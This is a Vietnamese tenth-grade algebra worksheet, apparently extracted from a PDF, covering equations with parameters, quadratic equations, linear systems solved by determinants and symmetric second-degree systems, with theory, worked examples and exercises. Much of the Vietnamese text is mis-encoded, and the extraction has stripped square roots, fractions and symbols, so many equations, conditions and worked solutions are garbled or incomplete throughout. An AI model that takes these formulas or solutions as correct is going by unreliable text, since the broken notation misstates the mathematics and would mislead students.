<span class='text_page_counter'>(11)</span>  Duøng quy taéc chuyeån veá  Nhân hai vế của phương trình với cùng một biểu thức xác định và khác 0 với mọi giá trị cuûa aån thuoäc taäp xaùc ñònhcuûa phöông trình  Bình phöông hai veá cuûa phöông trình coù hai veá luoân luoân cuøng daáu khi aån laáy moïi giaù trò thuoäc taäp xaùc ñònh cuûa phöông trình 2.Phép biến đổi cho phương trình hệ quả :  Bình phương hai vế của một phương trình ta đi đến phương trình hệ quả. B: BAØI TAÄP : B1: traéc nghieäm : Caâu 1: Trong caùc phöông trình sau, phöông trình naøo coù nghieäm a) 5x2 + 7 = -3 c) x2 + 3 =. x 1 x9 x  x. b) x2 + 3x + 11 = 0 d) 2x3 + 5x – 7 +. 2 x. =. x4. Caâu 2: Phöông trình = 0 coù bao nhieâu nghieäm a) 1 b) 2 c) 3 d) Voâ nghieäm Caâu 3: Cho phöông trình f1(x) = g1(x) (1) f2(x) = g2(x) (2) f1(x) +f2(x) = g1(x) + g2(x) (3) Tìm mệnh đề đúng a) (3) tương đường với (1) hoặc (2) b) (3) laø heä quaû cuûa (1) c) (2) laø heä quaû cuûa (3) d) cả a,b,c đều có thể sai B2 : Tự luận Baøi 1: Tìm ñieàu kieän cuûa moãi phöông trình sau roài suy ra taäp nghieäm. x 3 =. a) x -. 3 x + 3. b).  x 2  4 x  4 = x2 - 4. c). x - 1 x =. 2  x. Baøi 2:.Tìm nghieäm nguyeân cuûa moãi phöông trình sau baèng caùch xeùt ñieàu kieän. 4 x - 2 = x - x b) 3 x  2 = 2  x + 2 2 a). Baøi 3:.Giaûi caùc phöông trình sau : a) x + b). x2. x = x - 1 + 2 x = 2 x + 9. Bài 4:.Giải phương trình sau bằng cách phép biến đổi phương trình hệ quả a) 2x + 3  = 1 b) 2 – x  = 2x - 1. 3 x  2 = 1 -2x d) 5  2x = x  1 c). Baøi 5:.Tìm ñieàu kieän xaùc ñònh cuûa phöông trình hai aån roài suy ra taäp nghieäm cuûa noù.  x 2  ( y  1) 2 + xy = (x+1)(y+1) §2: PHÖÔNG TRÌNH BAÄC NHAÁT VAØ BAÄC HAI MOÄT AÅN A: TOÙM TAÉT LYÙ THUYEÁT 1.Giaûi vaø bieän luaän phöông trình daïng ax+b = 0  a ≠ 0: Phöông trình coù nghieäm duy nhaát x= . b a.  a = 0 vaø b ≠ 0: Phöông trình voâ nghieäm  a = 0 và b=0: Phương trình nghiệm đúng với mọi xR. Lop10.com.

<span class='text_page_counter'>(12)</span> 2.Giaûi vaø bieän luaän phöông trình daïng ax2+bx+c = 0  a= 0 :Trở về giải và biện luận phương trình bx + c = 0  a ≠ 0 . Laäp = b2  4ac Neáu  > 0:phöông trình coù hai nghieäm phaân bieät x=. b   b   v x= 2a 2a. Neáu  = 0 : phöông trình coù nghieäm keùp : x =. b 2a. Neáu  < 0 : phöông trình voâ nghieäm B. VÍ DUÏ : Ví duï 1. Giaûi vaø bieän luaän phöông trình : m(x - m ) = x + m - 2 (1) Giaûi : 2 phöông trình (1)  (m - 1)x = m + m - 2 Ta xét các trường hợp sau đây : 1)Khi (m-1) ≠ 0  m ≠ 1 neân phöông trình (1) coù nghieäm duy nhaát x =. m2  m  2 =m-2 m 1. 2)Khi (m – 1) = 0  m = 1 . phương trình (1) trở thành 0x = 0: phương trình nghiệm đúng với mọi x  R Keát luaän : m ≠ 1 : Taäp nghieäm laø S = {m - 2} m = 1 : Taäp nghieäm laø S = R Ví duï 2: Giaûi vaø bieän luaän phöông trình theo tham soá m : (m + 1)x2 - (2m + 1)x + (m - 2) = 0 Giaûi : Với m = - 1 , phương trình có nghiệm x = 3 Với m ≠ - 1 Lập  = 8m + 9 Do đó m < -. 9 thì phöông trình voâ nghieäm 8. 9 phöông trình coù ngieäm keùp x = 5 8 9 Với m (- ; 1) (1; +), phương trình có hai nghiệm 8 2 m  1  8m  9 2 m  1  8m  9 x= ;x= 2(m  1) 2(m  1) m=-. C:. BAØI TAÄP : C2 : TỰ LUẬN Baøi 1:. Giaûi vaø bieän luaän caùc phöông trình sau : a) (m2+2)x - 2m = x -3 b) m(x -m+3) = m(x -2) + 6 2 c) m (x- 1) + m = x(3m -2) d) m2x = m(x + 1) -1 2 e) m (x – 3) +10m = 9x + 3 f) m3x –m2 -4 = 4m(x – 1) 2 2 g) (m+1) x + 1 – m = (7m – 5)x h) a x = a(x + b) – b i) (a + b)2x + 2a2 = 2a(a + b) + (a2 + b2)x Baøi 2: a) Định m để phương trình (m2- 3)x = -2mx+ m- 1 có tập nghiệm là R b) Định m để phương trình (mx + 2)(x + 1) = (mx + m2)x có nghiệm duy nhất c)Định a ; b đề phương trình (1 – x)a + (2x + 1) b= x + 2 vô số nghiệm xR d) Định m để phương trình m2x = 9x +m2 -4m + 3 vô số nghiệm xR Baøi 3: Giaûi vaø bieän luaän phöông trình theo tham soá m: a)mx2 + 2x + 1 = 0. Lop10.com.

<span class='text_page_counter'>(13)</span> b)2x2 -6x + 3m - 5 = 0 c)(m2 - 5m -36)x2 - 2(m + 4)x + 1 = 0 Bài 4: Cho a ; b ; c là 3 cạnh của . Chứng minh rằng phương trình sau vô nghiệm a2x2 + (c2 – a2 –b2)x +b2 = 0 Baøi 5: Cho a ; b ; c  0 vaø 3 phöông trình ax2 +2bx + c = 0 bx2 +2cx + a = 0 cx2 +2ax + b = 0 CMR ít nhaát 1 trong 3 phöông trình coù nghieäm Bài 6: Cho phương trình : x2 + 2x = a. Bằng đồ thị , tìm các giá trị của a để phương trình đã cho có nghiệm lớn hơn 1. Khi đó , hãy tìm nghiệm lớn hơn 1 đó Bài 7: Giả sử x1 ; x2 là các nghiệm của phương trình : 2x2 - 11x + 13 = 0. Hãy tính : a) x13 + x23 b) x14 + x24 c) x14 - x24 2. x  x  d)  1  +  2   x2   x1 . 2. Baøi 8:Caùc heä soá a, b , c cuûa phöông trình truøng phöông : ax4 + bx2 + c = 0 phaûi thoûa ñieàu kieän gì để phương trình đó a)Voâ nghieäm b)Coù moät nghieäm c)Coù hai nghieäm d)Coù ba nghieäm e)Coù boán nghieäm Baøi 9: Giaûi vaø bieän luaän: a) (m-2)x2 -2(m-1)x +m – 3 = 0 b) (m-1)x2 -2mx +m +1 = 0 Baøi 10: Cho phöông trình : x2 -2(m-1)x +m2 – 3m = 0 a)Định m để phương trình có nghiệm x1 = 0. Tính nghiệm x2. b)Định m để phương trình có 2 nghiệm phân biệt x1 ; x2 thỏa x12 +x22 = 8 Baøi 11: Cho phöông trình : mx2 -2(m-3)x +m – 6 = 0 a) CMR: phöông trình luoân coù nghieäm x1 = 1 ; m. Tính nghieäm x2. b) Định m để phương trình có 2 nghiệm phân biệt thỏa. 1 1   1 x1 x2. c) Định m để phương trình có 2 nghiệm trái dấu có giá trị tuyệt đối bằng nhau Bài 12: Giả sử phương trình ax2 +bx + c = 0 có 2 nghiệm dương phân biệt x1 ; x2. a) CMR phöông trình cx2 +bx + a = 0 cuõng coù 2 nghieäm döông phaân bieät x3 ; x4. b) CMR x1 + x2 + x3 + x4  4 Baøi 13: Cho phöông trình (m +2)x2 -2(4m – 1)x -2m + 5=0 a) Định m để phương trình có nghiệm kép. Tính nghiệm kép đó b) Tìm hệ thức độc lập đối với m giữa các nghiệm . suy ra nghiệm câu a Baøi 14: Cho 2 soá x1; x2 thoûa heä (x1+ x2) - 2 x1 x2 = 0 m x1x2 – (x1+ x2) = 2m + 1 (Với m 2) a) laäp phöông trình coù 2 nghieäm x1; x2 b) Định m để phương trình có nghiệm c) Định m để phương trình có 2 nghiệm phân biệt là 2 cạnh tam giác vuông có cạnh huyeàn = 2 Baøi 15: Cho 2 phöông trình x2 +b1x + c1 = 0 vaø x2 +b2x + c2 = 0 thoûa b1b2  2(c1 + c2 ) Chứng minh rằng ít nhất 1 trong 2 phương trình có nghiệm Baøi 16: Cho phöông trình x2 – 2(m – 1)x + m2 – 3m + 4 = 0 a) Định m để phương trình có 2 nghiệm thỏa x12 + x22 = 20 b) Định m để phương trình có nghiệm kép. Tính nghiệm kép đó c) Tìm hệ thức độc lập giữa 2 nghiệm. Suy ra giá trị nghiệm kép §3: MOÄT SOÁ PHÖÔNG TRÌNH QUY VEÀ PHÖÔNG TRÌNH BẬC NHẤT HOẶC BẬC HAI A.TOÙM TAÉT LYÙ THUYEÁT:. Lop10.com.

<span class='text_page_counter'>(14)</span> 1/ Phöông trình daïng: ax + b = cx + d Caùch 1:.  ax  b  cx  d pt   ax  b  (cx  d). Caùch 2: ax + b = {cx + d{  (ax + b)2 = (cx + d)2 2/ Giải và biện luận phương trình chứa ẩn ở mẫu thức Phöông phaùp:  Đặt điều kiện để mẫu thức khác 0  Quy đồng mẫu thức. Giải và biện luận phương trình thu được 3/ Giaûi phöông trình baèng phöông phaùp ñaët aån soá phuï Phöông phaùp: Biến đổi biểu thức có trong phương trình, đặt ẩn số phụ để chuyển phương trình đã cho về phương trình baâc hai B: caùc ví duï : Ví du 1: Giaûi vaø bieän luaän phöông trình. mx  m  1 3 x2. Ñieàu kieän: x  -2 Với điều kiện phương trình  mx-m+1 = 3x + 6  (m-3)x = m+5 (1) Bieän luaän:  m  3 (1) . x. m5  2  m + 5  -2m + 6  -2m + 6  m  1 3 m 3.  m = 3 (1)  0x = 8 : Phöông trình voâ nghieäm Keát luaän: m = 3 hoặc m = m  3 vaø m . 1 3. : Phöông trình voâ nghieäm. m5 1 : Phöông trình coù nghieäm duy nhaát x  3 m3. Ví duï 2 : Giaûi phöông trình Giaûi: Ñaët t =. 6 x 2  12 x  7  0 . Luùc naøy (1). 2x  x 2  6x 2  12x  7  0. . . 2x  x 2 . (1).  t2 = 6x2 - 12x + 7. 7  t2 6. 7  t2  t  0  -t2 + 6t + 7 = 0 6 t  7  6x 2  12 x  7  7  2  t  1 (loại)  x  2 x  7  0  x  1  2 2. C: BAØI TAÄP: Baøi 1: Giaûi vaø bieän luaän caùc phöông trình a) mx - x + 1 = x + 2 b) mx + 2x - 1 = x c) mx - 1 = 5 d) 3x + m = 2x - 2m Baøi 2: Tìm caùc giaù trò tham soá m sao cho phöông trình mx-2=x+4 coù nghieäm duy nhaát Bài 3: Giải và biện luận các phương trình (m, a và k là những tham số) a). a 1  1 x  2 x  2a. b). mx  m  3 1 x 1. Lop10.com.

<span class='text_page_counter'>(15)</span> c) e). 3x  k x  k  x3 x3. d). xm x2 + =2 x2 xm. f). Baøi 4:Giaûi caùc phöông trình a). 1 x. +. xm. x2  x  1  3  x (mx  1) x  1  0. b). Baøi 6:Giaûi caùc phöông trình (baèng caùch ñaët aån phuï) 2. a) 4x2 - 12x - 5 4x  12x  11  b) x2 + 4x - 3 x + 2 + 4 = 0. 1. c) 4x2 +. x2.  2x . +. x2 x. =2. x  2 2(x  m)  2 = 2 2 xm m x. x 2  6x  9  2x  1. b). Baøi 5: Giaûi vaø bieän luaän caùc phöông trình a). xm x 1. 2a  1  a2 x2. 0. 1 6  0 x. x 2  x  9 =3. d) x2 – x +. x 2  3x  11 =3x + 4. e) x2 + 2. f) x2 +3 x - 10 + 3. x(x  3) = 0. Câu 7: Định tham số để phương trình a) d). x  m x 1 = coù nghieäm duy nhaát x 1 x 1 x2 x 1 + = 2 voâ nghieäm xm x §4:HEÄ PHÖÔNG TRÌNH BAÄC NHAÁT HAI AÅN. A. TOÙM TAÉT LYÙ THUYEÁT I) Ñònh nghóa: Heä phöông trình baäc nhaát hai aån laø heä coù daïng:. ax + by = c  a'x + b'y = c'. Tính. D. D0.  D = 0 vaø. a b  ab' - a' b a' b'. ;. Với a2 + b2  0, a’2 + b’2  0. Dx . c b  cb' - c' b c' b'. : Hệ có nghiệm duy nhất (x; y) với. D x  0 D  0  y.  D = Dx = Dy = 0.  x   y  . ;. Dy . a c  ac' - a' c a' c'. Dx D Dy D. : Heä voâ nghieäm. : Hệ có vô số nghiệm (x; y) tính theo công thức (neáu b  0). II ) Phöông phaùp giaû heä phöông trìnhbaäc nhaát ba aån :. Lop10.com.  by  c  x   a  y  R. (a  0) hoặc.  x  R y   ax  c  b.

<span class='text_page_counter'>(16)</span> Daïng. a1 x  b1 y  c1 z  d1  a2 x  b2 y  c2 z  d 2 a x  b y  c z  d 3 3 3  3.  Choïn moät phöông trình, bieåu dieãn moät aån theo hai aån coøn laïi  Thế ẩn đó vao hai phương trình còn lại ta được hệ hai phương trình bậc nhất hai ẩn. Giải hệ này tìm giá trị hai ẩn từ đó tìm đươc giá trị ẩn còn lại B CAÙC VÍ DUÏ : Ví duï1: Giaûi vaø bieän luaän heä phöông trình sau:.  x  my  0  mx  y  m  1. D. 1 m  1  m 2  (m  1)(m  1) m 1. Dx . 0 1  (m  1) m 1 m. Dy . 1 0  m 1 m m 1. Giaûi. Bieän luaän: 1) D  0  m2 - 1  0  m  1. Dx  (m  1) 1   D (m  1)(m  1) m  1 Dy m 1 1 y   D (m  1)(m  1) m  1 1   1 Heä 1 nghieäm duy nhaát :  ;   m 1 m 1 x. 2) D = 0  m = -1 V m = 1 m=1 D = 0 vaø Dx = -2 : Heä voâ nghieäm  m = -1 D = Dx = Dy = 0 và hệ trở thành.  xy 0  xR  xy 0   y   x  x  y  0 1   1 Keát luaän: m   1 : Heä coù nghieäm duy nhaát  ;   m 1 m 1 m=1. : Heä voâ nghieäm. m = -1. : Heä coù voâ soá nghieäm (x, y) coù daïng. Ví dụ2: Định m để hệ phương trình sau có vô số nghiệm.  4x  my  1  m   (m  6)x  2y  3  m. Giaûi:. Lop10.com.  xR  y  2  x.

<span class='text_page_counter'>(17)</span> D. 4 m m6 2. = -m2 - 6m - 8 = 0  m = -2 vaø m = -4. DX . 1 m m 3 m 2. Dy .  4 m 1 m 6 3 m. = -m2 - m + 2 = 0  m =1 vaø m = 2. = =m2 - 11m - 18 = 0  m = -2 vaø m = 9. Heä phöông trình coù voâ soá nghieäm  D = Dx = Dy =0  m = -2 Ví duï 3: Giaûi heä phöông trình sau.  2x  y  28 (1)   3y  2z  26 (2) z  x  4 (3) . (3)  z = 4 + x Theá vaøo (2)  3y + 2z = 3y + 2(x + 4) = 26  2x + 3y = 18 (4). 33   2x  y  28 x     2 2x  3y  18  y  -5 33 41 4 (3)  z = x + 4 = 2 2 (1) (4) . Vaäy nghieäm cuûa heä phöông trình (x; y; z) =. 41   33  ;5;  2  2. C. BAØI TAÄP: Bài 1: Bằng định thức giải các hệ phương trình a). 5x  4y  3  7x  9y  8. b).  3x  2y  1  2 2x  3y  0. Baøi 2: Giaûi vaø bieän luaän heä phöông trình sau: a). c).  x  my  1  mx  3my  2m  3. (a  2)x  (a  4)y  2  (a  1)x  (3a  2)y  1. b).  mx  y  4m  2x  (m  1)y  m. d). mx  y  m  1   x  my  2. Baøi 3: Tìm m, a, b sao cho heä phöông trình sau coù voâ soá nghieäm a). c). mx  y  2m  x  my  1 - m ax  by  a   bx  ay  b. b). d).   4x  my  1  m  (m  6)x  2y  3  m (a  1)x  by  a  bx  (1  a)y  b. Baøi 4: Tìm m, a, b sau cho heä phöông trình sau voâ nghieäm. ax  y  2 6x  by  4. a) . b). x  my  1   mx  3my  2m  3. Lop10.com. c).  m 1  x  y  2m 1 m    m 1  x y.

<span class='text_page_counter'>(18)</span> Baøi 5: Cho heä phöông trình :. mx  4 y  m  2   x  my  m. a) Giaûi vaø bieän luaän b) Định m Z để hệ có nghiệm duy nhất là nghiệm nguyên. (m+1) x - 2y = m - 1  2 2 m x - y = m + 2m. Baøi 6: Cho heä. a) Giaûi vaø bieän luaän heä phöông trình b)Tìm tất cả các giá trị nguyên của m để hệ có nghiệm duy nhất là nghiệm nguyên Bài 7 : Định m nguyên để hệ có nghiệm duy nhất là nguyên. (m  1)x  2y  m  1  2 2  m x  y  m  2m.  x +2y = 4 -m. Baøi 8:: Cho heä . 2x  y  3m  3 a)Giaûi heä phöông trình b) Tìm tất cả các giá trị của m để x2 + y2 đạt giá trị nhỏ nhất.  2x +y = 5. Baøi 9 : Cho heä . 2y  x  10m  5. a) m = 2. b) m = 8. . Với giá trị nào của m thì tích 2 nghiệm x.y đạt giá trị lớn nhất. c) m = -. Baøi 10: Giaûi.  x  y  z  28  a) 5x  3y  3z  100  2x  4y  5z  107. b). 1. d) Keát quaû khaùc. 8.  x-3y  2z  2  -2x  5y  z  5  3x-7y  4z  8. c).  -x+5y  z  2  2x-9y  2z  8  3x-4y  z  5. §5:HEÄ PHÖÔNG TRÌNH BAÄC HAI 2 AÅN A. TOÙM TAÉT LYÙ THUYEÁT : .CÁC DẠNG THƯỜNG GẶP Daïng 1:. (1) ax  by  c  2 2  Ax  By  Cxy  Dx  Ey  F  0 (2). Phöông phaùp: - Tính x theo y (y theo x) - Thế vào (2) để được phương trình bậc 2) theo 1 ẩn duy nhất  Dạng 2: Hệ đối xứng hai ẩn loại 1 Là hệ có tính chất: Khi thay x bởi y thì mỗi phương trình trong hệ không thay đổi. Phöông phaùp: Ñaët x + y = S, xy = P  Ñöa heä phöông trình veà heä 2 aån S, P  x, y laø nghieäm X2 - SX + P = 0 Chuù yù : ñieàu kieän heä coù nghieäm: S2 - 4P  0 Dạng 3: Hệ đối xứng hai ẩn loại 2 Là hệ phương trình có tính chất khi thay x bởi y thì phương trình này trong hệ sẽ. Lop10.com.

<span class='text_page_counter'>(19)</span> bieán thaønh phöông trình kia Phương pháp: - Trừ hai vế của phương trình - Dùng phương pháp thế để giải hệ B: CAÙC VÍ DUÏ : Ví duï 1 : Giaûi heä phöông trình. (1) x  2y  5 (I)  2 2  x  2y  2xy  5(2). Giaûi (1)  x = 5 - 2y (I). x  5  2y  x  5 - 2y   2 2 2 (5  2y)  2y  2(5  2y)y  5 10y  30y  10  0. x  3  x  5  2y x  1    V  y  1 vaø y  2 y  2 y  1 Vaäy nghieäm heä phöông trình (3, 1); (1, 2). x 2  xy  y 2  4   xy  x  y  2. Ví duï 2: Giaûi heä phöông trình: Giaûi: Ñaët S = x + y, P = xy Heä phöông trình.  S2  2P  P  4 S2  P  4  S2  S  6  0      S  P  2  S P  2 P  2  S. S  3 V S  2 S  -3 S  2    V  P  5 P  0 P  s  S TH1:. S  3  P  5 S  2 P  0. TH2: .  x, y laø nghieäm phöông trình: X2 + 3X + 5 = 0  = 9 - 20 < 0 : Voâ nghieäm.  x, y laø phöông trình X2 - 2X = 0. X  0  X  2.  Nghieäm heä phöông trình (0, 2) hay (2, 0). Ví duï 3: Giaûi heä phöông trình. (I). x 2  2x  y  2 y  2y  x. (I).  x 2  y 2  2(x  y)  (x  y)  2 x  2x  y. (x  y)(x  y  1)  0  2  x  2x  y. xy  0 (II)  2 x  2x  y. V. Lop10.com. x  y  1  0  2  x  2x  y. (III).

<span class='text_page_counter'>(20)</span> * (II).  xy  2 x  3x  0. * (II).  y  1 x  2 x  2x  1  x. x  0  y  0. x  3  y  3. V. x 2  x  1  0  y  1  x.  1 5  x  2  y  1  1  5  1  5  2 2 Keát luaän heä phöông trình coù 4 nghieäm (0, 0) (3, 3). V.  x  1  5  2  y  1  x.  1 5 x  2  y  1  5  2. 1 5 1 5  1 5 1 5       2 , 2   2 , 2     . C. BAØI TAÄP : Baøi 1: Giaûi caùc heä phöông trình a). x  y  2  2 2  x  y  164. b). x 2  5xy  y 2  7   2x  y  1. c). 2x  y  7  0  2 2  y  x  2x  2y  4  0. d). 4x  9y  6  2 3x  6xy  x  3y  0. Baøi 2: Giaûi caùc heä phöông trình.  x  y  xy  11 2 2  x y  y x  30. a) .  xy  4  2 2  x  y  28. c).  x  y  xy  2 2 2  x  y  xy  4. e) .  xy  x  y  3 2 2  x  y  x  y  xy  6. g) .  x( x  y  1)  y( y  1)  2 2 2  x  y  x  y  4. i) . k).  xy( x  y )  2  3 3  x  y  2. m).  x  y  6  2 2  x  y  2( xy  2).  x y  y x  30. b) .  x x  y y  35 7   x  y  xy  2 d)   x 2 y  y 2x  5  2  x  y  xy  3 f)  2 2  x  y  xy  1  x  y  2 h)  2 2  x  y  164  x  y  1 j)  3 3  x  y  61 x  y  5  l)  x y 13 y  x  6 .  x  y  xy  5 2 2  x y  y x  6. n) . Lop10.com.

<span class='text_page_counter'>(21)</span>